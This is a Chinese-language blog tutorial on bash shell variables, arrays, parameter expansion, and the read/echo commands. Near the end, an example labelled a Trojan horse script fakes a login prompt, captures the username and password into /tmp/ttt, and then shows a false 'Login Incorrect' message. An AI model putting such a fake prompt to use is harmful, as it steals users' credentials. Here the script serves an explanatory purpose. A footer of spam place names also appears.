Decode360's Blog

          業精于勤而荒于嬉 QQ:150355677 MSN:decode360@hotmail.com

            BlogJava :: 首頁 :: 新隨筆 :: 聯系 ::  :: 管理 ::
            302 隨筆 :: 26 文章 :: 82 評論 :: 0 Trackbacks
          一、用戶定義的變量
          ?
          1、變量名
          ?
          ??? 以字母、下劃線開頭的字母、數字和下劃線字符序列
          ??? 注:大小寫敏感
          ?
          2、變量賦值
          ?
          ??? 變量名=字符串
          ??? 注:等號兩邊不能有空格
          ?
          3、引用變量值
          ?
          ??? 在變量名前加“$”表示引用,例如:
          ??? $?dir=/usr/wxq
          ??? $ echo $dir? --/usr/wxq
          ??? $ echo dir? --dir
          ?
          ??? 注意:
          ??? ① abc= 或未明確賦值過的變量,均為空字符串
          ??? ② 如果字符串中有空格,則用""括起來:names="Wang XQ"
          ??? ③ 可以作為某長字符串的一部分,例如:echo read$s
          ??? ④ 若會引起歧義時,用{}括起變量,如:cat ${dir}qc/m
          ?
          4、命令替換
          ?
          ??? 使用倒引號“`”進行命令替換,如:
          ??? $ dir=`pwd`
          ?
          ??? 或者使用$()的形式
          ??? $ dir=$(pwd)
          ??? $ echo $(pwd; cd /opt; ls -l)
          ?
          ?
          ?
          二、數組
          ?
          1、定義數組
          ?
          ??? bash只提供一維數組,且不限制數組大小。
          ??? 數據下標從0開始賦值,格式為:數組名[下標]=值
          ?
          ??? $ city[0]=Beijing
          ??? $ city[1]=Shanghai
          ??? ...
          ?
          ??? 也可以組合賦值
          ??? $ A=(this is an example of shell script)
          ?
          2、數組的讀取
          ?
          ??? ${數組名[下標]},例如上例中:
          ?
          ??? $ echo ${A[0]} ${A[2]}? --this an
          ??? $ echo ${A[8]}? --空值,超過上限
          ?
          ??? 注:可以使用*或@作為下標,表示所有元素,例如:
          ??? $ echo ${A[*]}
          ?
          ??? 當不加下標讀取時,默認返回A[0]
          ?
          3、取消數組
          ?
          ??? $ unset A? --取消整個數據
          ??? $ unset A[0]? --取消第一個值
          ?
          ?
          ?
          三、變量引用
          ?
          ??? ① $name:表示變量name的值,若未定義變量則返回空值
          ?
          ??? ② ${name}:與$name相同,只是為了與后面緊接的字符分開
          ?
          ??? ③ ${name[n]}:表示引用數組name中的第n個元素
          ?
          ??? ④ ${name[*]} | ${name[@]}:表示引用數據的所有元素
          ?
          ??? ${name[*]}和${name[@]}的區別:
          ????? $ person=("a b" "c d")
          ????? $ echo ${person[*]}
          ????? a b c d
          ????? $ echo ${person[@]}
          ????? a b c d
          ? ???? $ for i in ${person[*]}; do echo $i; done
          ?
          ???? a
          ???? ?b
          ???? ?c
          ???? ?d
          ?
          ???? $ for i in ${person[@]}; do echo $i; done
          ?
          ???? a
          ???? ?b
          ???? ?c
          ???? ?d

          ??????$ for i in "${person[*]}"; do echo $i; done
          ????? a b c d
          ??????$ for i in "${person[@]}"; do echo $i; done
          ????? a b
          ????? c d
          ?
          ??? ⑤ ${name:-word}、${name:*word}、${name:+word}、${name:?word}:計算方法,后面講
          ?
          ??? ⑥ ${name#pattern}、${name##pattern}:去掉開頭匹配部分之后的結果
          ??? ${name#pattern}:去掉匹配最少的部分
          ??? ${name##pattern}:去掉匹配最多的部分
          ?
          ??? $ echo $PWD
          ??? /home/wxq
          ??? $ echo ${PWD#*/}
          ??? home/wxq
          ??? $ echo ${PWD##*/}
          ??? wxq
          ?
          ??? ⑦ ${name%pattern}、${name%%pattern}:去掉末尾匹配部分之后的結果
          ??? ${name%pattern}:去掉匹配最少的部分
          ??? ${name%%pattern}:去掉匹配最多的部分
          ?
          ??? $ echo $FILE
          ??? A.abc.c
          ??? $ echo ${FILE%.*}
          ??? A.abc
          ??? $ echo ${FILE%%.*}
          ??? A
          ?
          ??? ⑧ ${#@}、${#*}:返回$@、$*返回參數的個數
          ?
          ??? ⑨ ${#name[i]}:返回第i個元素的長度(字符個數)
          ?
          ??? ⑩ ${#name[*]}、${#name[@]}:返回數組name中已經設置的元素個數
          ?
          ?
          ?
          四、輸入/輸出命令
          ?
          1、read命令
          ?
          ??? ① 輸入個數與給定數據個數相同
          ??? $ read x y z
          ??? Today is Monday
          ??? $ echo $z $y $x
          ??? Monday is Today
          ?
          ??? ② 輸入個數多于給定數據個數
          ??? $ read?a1?a2 a3
          ??? aaa bbb ccc ddd 111
          ??? $ echo $a2 $a1
          ??? bbb aaa
          ??? $ echo $a3
          ??? ccc ddd 111
          ?
          ??? 注:從左自右依次對應,最后一個變量分配到剩余所有的數據
          ?
          ??? ③ 輸入個數少于給定數據個數
          ?
          ??? 從左自右依次對應,沒有對應的變量取空值
          ?
          2、echo命令
          ?
          ??? echo命令用于顯示其后的變量值或之間顯示后面的字符串。各個參數之間以空格隔開,以換行符終止。如果數據間需要空格則用""括起來。
          ?
          ??? echo命令后面加上“-e”后可使用轉義符,轉義符包括以下這些:
          ?
          ??? \a? 響鈴報警
          ??? \b? 退一個字符位置
          ??? \c? 輸出之后光標不換行,接在此之后(與-n選項相同)
          ??? \e? 轉義字符
          ??? \f? 換頁
          ??? \n? 顯示換行
          ??? \r? 回車
          ??? \t? 水平制表符
          ??? \v? 垂直制表符
          ??? \\? 印出反斜杠
          ??? \m? 表示一個ASCII字符(m以0開頭,由1位、2位或3位八進制數組成的數)
          ??? \xm 表示一個ASCII字符(m以0開頭,由1位、2位或3位十六進制數組成的數)
          ?
          ??? 舉例某特洛伊木馬shell腳本如下:
          ??? echo -n "Login:"
          ??? read name
          ??? stty -echo
          ??? echo -n "Password:"
          ??? read passwd
          ??? echo ""
          ??? stty echo
          ??? echo $name $passwd > /tmp/ttt&
          ??? sleep 2
          ??? echo "Login Incorrect.Re-enter,Please."
          ??? stty cooked
          ?
          ?
          ?
          ???




          -The End-

          posted on 2009-01-08 21:23 decode360-3 閱讀(848) 評論(0)  編輯  收藏 所屬分類: Linux
          主站蜘蛛池模板: 柳州市| 雅江县| 通河县| 宝鸡市| 台中市| 原阳县| 海南省| 江门市| 纳雍县| 固阳县| 旺苍县| 龙海市| 兴安县| 久治县| 永善县| 合阳县| 铜川市| 陇南市| 中方县| 奇台县| 车险| 丰顺县| 高青县| 江源县| 天水市| 黄大仙区| 林口县| 探索| 崇信县| 衡山县| 莱西市| 阿勒泰市| 彭州市| 芜湖县| 乐业县| 江安县| 台东市| 兴和县| 东明县| 东山县| 荥阳市|